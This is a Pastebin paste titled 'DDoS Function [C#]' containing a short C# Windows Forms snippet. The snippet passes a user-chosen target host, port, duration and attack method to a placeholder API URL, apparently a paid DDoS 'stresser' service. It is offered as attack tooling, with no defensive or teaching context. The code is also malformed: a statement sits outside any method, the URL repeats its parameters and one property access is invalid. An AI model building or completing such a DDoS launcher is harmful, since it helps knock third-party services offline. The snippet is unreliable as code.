Advertisement
theiotlord

DDoS Function [C#]

Nov 17th, 2019
243
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.87 KB | None | 0 0
  1. using System.Net;
  2.  
  3. public partial class FORMNAMEHERE : Form
  4. {
  5. public static WebClient wc = new WebClient();
  6. private static string getWebString(string url)
  7. {
  8. List<string> _items = new List<string>();
  9. FORMNAMEHERE.wc.Proxy = (IWebProxy)null;
  10. string str;
  11. try
  12. {
  13. str = FORMNAMEHERE.wc.DownloadString(url);
  14. }
  15. catch (Exception ex)
  16. {
  17. str = "";
  18. }
  19. return str;
  20. }
  21. public FORMNAMEHERE()
  22. {
  23. InitializeComponent();
  24. }
  25.  
  26. wc.DownloadString("APIURLHERE&host=[host]&port=[port]&time=[time]&method=[method]" + HOSTBOXHERE.Text + "&host=" + HOSTBOXHERE.Text + "&port=" + PORTBOXHERE.Text + "&time=" + TIMEBOXHERE.Text + "&method=" + HOSTCOMBOBOXHERE.Text.SelectedItem);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement